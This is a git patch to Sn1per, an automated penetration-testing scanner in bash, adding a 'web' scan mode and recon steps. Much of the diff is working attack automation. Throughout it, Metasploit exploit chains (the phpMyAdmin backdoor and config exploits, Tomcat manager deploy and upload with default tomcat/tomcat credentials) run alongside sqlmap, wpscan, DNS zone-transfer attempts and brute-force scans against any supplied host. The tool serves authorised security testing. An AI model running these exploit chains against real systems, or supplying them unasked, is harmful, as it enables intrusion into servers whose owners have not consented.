From 6d6855037467436f96042249433e73ed015e2768 Mon Sep 17 00:00:00 2001 From: root Date: Sat, 20 Feb 2016 08:13:01 -0500 Subject: [PATCH] Sn1per by 1N3 @CrowdShield --- README.md | 7 +++- sniper | 118 ++++++++++++++++++++++++++++++++++++++---------------- 2 files changed, 89 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index 7a645c2..b7ddd4c 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,7 @@ Sn1per is an automated scanner that can be used during a penetration test to enu # ./sniper # ./sniper stealth # ./sniper port +# ./sniper web # ./sniper nobrute # ./sniper airstrike # ./sniper nuke @@ -34,6 +35,7 @@ Sn1per is an automated scanner that can be used during a penetration test to enu * REPORT: Outputs all results to text in the loot directory for later reference. To enable reporting, append 'report' to any sniper mode or command. * STEALTH: Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking * PORT: Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. +* WEB: Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly. * NOBRUTE: Launches a full scan against a target host/domain without brute forcing services. * AIRSTRIKE: Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IP's that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. * NUKE: Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. @@ -44,6 +46,9 @@ https://gist.github.com/1N3/8214ec2da2c91691bcbc ``` ## CHANGELOG: +* v1.6a - Fixed small issue with 3rd party extension +* v1.6a - Various improvements to overall optimization of scans +* v1.6a - Added new "web" mode for full web application scans * v1.6 - Added 4 new modes including: stealth, port, airstrike and nuke * v1.6 - Added Java de-serialization scanner * v1.6 - Added reporting option to output to console and text file for all scans @@ -84,4 +89,4 @@ https://gist.github.com/1N3/8214ec2da2c91691bcbc ## FUTURE: * Add in OpenVAS integration -* Look into HTML reporting or text based output options to save scan data +* Look into HTML reporting options diff --git a/sniper b/sniper index fc338f4..0c47d5a 100644 --- a/sniper +++ b/sniper @@ -20,14 +20,16 @@ # # USAGE: # ./sniper +# ./sniper # ./sniper stealth # ./sniper port +# ./sniper web # ./sniper nobrute # ./sniper airstrike # ./sniper nuke # # UNCOMMENT AND SET TARGET DIR FOR UNIVERSAL ACCESS (ie. sniper ) -# cd /pentest/web/Sn1per/ +#cd /pentest/web/Sn1per/ TARGET="$1" MODE="$2" @@ -47,6 +49,8 @@ OKRED='\033[91m' OKGREEN='\033[92m' OKORANGE='\033[93m' RESET='\e[0m' +REGEX='^[0-9]+$' +DIR=$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd ) if [ -z $TARGET ]; then echo -e "$OKRED ____ $RESET" @@ -62,8 +66,17 @@ if [ -z $TARGET ]; then exit fi +if [[ ${TARGET:0:1} =~ $REGEX ]]; + then + SCAN_TYPE="IP" +else + SCAN_TYPE="DOMAIN" +fi + +clear + if [ "$MODE" = "report" ]; then - ./sniper $TARGET $MODE | tee ./loot/sniper-$TARGET-`date +%Y%m%d%H%M`.txt 2>&1 + ./sniper $TARGET | tee ./loot/sniper-$TARGET-`date +%Y%m%d%H%M`.txt 2>&1 exit fi @@ -112,6 +125,25 @@ if [ "$MODE" = "stealth" ]; then echo -e "$RESET" echo -e "$OKGREEN + -- --=[Launching stealth scan: $TARGET $RESET" echo -e "$OKGREEN $RESET" + echo -e "$OKGREEN################################### Running recon #################################$RESET" + nslookup $TARGET + host $TARGET + if [ $SCAN_TYPE == "DOMAIN" ]; + then + dig -x $TARGET + whois $TARGET + theharvester -d $TARGET -b google 2> /dev/null + theharvester -d $TARGET -b bing 2> /dev/null + theharvester -d $TARGET -b linkedin 2> /dev/null + theharvester -d $TARGET -b people123 2> /dev/null + dnsrecon -d $TARGET + dnsrecon -d $TARGET -t zonewalk + dnsrecon -d $TARGET -t axfr + dnsenum $TARGET -f BruteX/wordlists/namelist.txt + mv -f *_ips.txt loot/ 2>/dev/null + fi + echo "" + echo -e "$OKGREEN################################### Running passive scans #########################$RESET" unicornscan $TARGET 2> /dev/null wafw00f http://$TARGET whatweb http://$TARGET @@ -161,6 +193,25 @@ if [ "$MODE" = "airstrike" ]; then for a in `cat $TARGET`; do echo -e "$OKGREEN + -- --=[Launching airstrike: $a $RESET" + echo -e "$OKGREEN################################### Running recon #################################$RESET" + nslookup $a + host $a + if [ $SCAN_TYPE == "DOMAIN" ]; + then + dig -x $a + whois $a + theharvester -d $a -b google 2> /dev/null + theharvester -d $a-b bing 2> /dev/null + theharvester -d $a -b linkedin 2> /dev/null + theharvester -d $a -b people123 2> /dev/null + dnsrecon -d $a + dnsrecon -d $a -t zonewalk + dnsrecon -d $a -t axfr + dnsenum $a -f BruteX/wordlists/namelist.txt + mv -f *_ips.txt loot/ 2>/dev/null + fi + echo "" + echo -e "$OKGREEN################################### Running passive scans #########################$RESET" unicornscan $a 2> /dev/null wafw00f http://$a whatweb http://$a @@ -212,18 +263,6 @@ if [ "$MODE" = "nuke" ]; then done fi -REGEX='^[0-9]+$' -if [[ ${TARGET:0:1} =~ $REGEX ]]; - then - SCAN_TYPE="IP" -else - SCAN_TYPE="DOMAIN" -fi - -DIR=$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd ) - -clear - echo -e "$OKRED ____ $RESET" echo -e "$OKRED _________ / _/___ ___ _____$RESET" echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" @@ -247,7 +286,7 @@ then theharvester -d $TARGET -b people123 2> /dev/null dnsrecon -d $TARGET dnsrecon -d $TARGET -t zonewalk - dnsrecon -d quora.com -t axfr + dnsrecon -d $TARGET -t axfr dnsenum $TARGET -f BruteX/wordlists/namelist.txt mv -f *_ips.txt loot/ 2>/dev/null fi @@ -430,12 +469,18 @@ else echo -e "$RESET" nikto -h http://$TARGET - dirb http://$TARGET - wpscan --url http://$TARGET --batch - python $CMSMAP -t http://$TARGET - arachni http://$TARGET --output-only-positives - sqlmap -u "http://$TARGET" --batch --crawl=5 --level 1 --risk 1 -f -a - msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" + + if [ "$MODE" = "web" ] + then + dirb http://$TARGET + wpscan --url http://$TARGET --batch + wpscan --url http://$TARGET/wordpress/ --batch + python $CMSMAP -t http://$TARGET + python $CMSMAP -t http://$TARGET/wordpress/ + arachni http://$TARGET --output-only-positives + sqlmap -u "http://$TARGET" --batch --crawl=5 --level 1 --risk 1 -f -a + msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" + fi fi if [ -z "$port_110" ] @@ -565,12 +610,18 @@ else echo "" echo -e "$RESET" nikto -h https://$TARGET - dirb http://$TARGET - wpscan --url https://$TARGET --batch - python $CMSMAP -t https://$TARGET - arachni https://$TARGET --output-only-positives - sqlmap -u "https://$TARGET" --batch --crawl=5 --level 1 --risk 1 -f -a - msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 443; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" + + if [ "$MODE" = "web" ] + then + dirb https://$TARGET + wpscan --url https://$TARGET --batch + wpscan --url https://$TARGET/wordpress/ --batch + python $CMSMAP -t https://$TARGET + python $CMSMAP -t https://$TARGET/wordpress/ + arachni https://$TARGET --output-only-positives + sqlmap -u "https://$TARGET" --batch --crawl=5 --level 1 --risk 1 -f -a + msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 443; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" + fi fi if [ -z "$port_445" ] @@ -719,7 +770,7 @@ else ./massbleed $TARGET port 8000 cd .. nikto -h http://$TARGET:8000 - arachni http://$TARGET:8000 --output-only-positives + #arachni http://$TARGET:8000 --output-only-positives fi if [ -z "$port_8100" ] @@ -737,7 +788,7 @@ else ./massbleed $TARGET port 8100 cd .. nikto -h http://$TARGET:8100 - arachni http://$TARGET:8100 --output-only-positives + #arachni http://$TARGET:8100 --output-only-positives fi if [ -z "$port_8080" ] @@ -756,7 +807,7 @@ else cd .. nikto -h http://$TARGET:8080 nmap -p 8080 --script=*proxy* $TARGET - arachni http://$TARGET:8080 --output-only-positives + #arachni http://$TARGET:8080 --output-only-positives msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8080; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" fi @@ -776,7 +827,7 @@ else cd .. nikto -h http://$TARGET:8180 nmap -p 8180 --script=*proxy* $TARGET - arachni http://$TARGET:8180 --output-only-positives + #arachni http://$TARGET:8180 --output-only-positives msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8180; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" fi @@ -796,7 +847,7 @@ else cd .. nikto -h https://$TARGET:8443 nmap -p 8443 --script=*proxy* $TARGET - arachni https://$TARGET:8443 --output-only-positives + #arachni https://$TARGET:8443 --output-only-positives fi if [ -z "$port_10000" ] @@ -815,9 +866,6 @@ else $SUPER_MICRO_SCAN $TARGET fi -echo -e "$OKGREEN################################### Launching 3rd Party Modules ########################$RESET" -python serializekiller/serializekiller.py --url $TARGET - if [ "$MODE" = "nobrute" ]; then echo -e "$OKGREEN################################### Skipping Brute Force ############################$RESET" else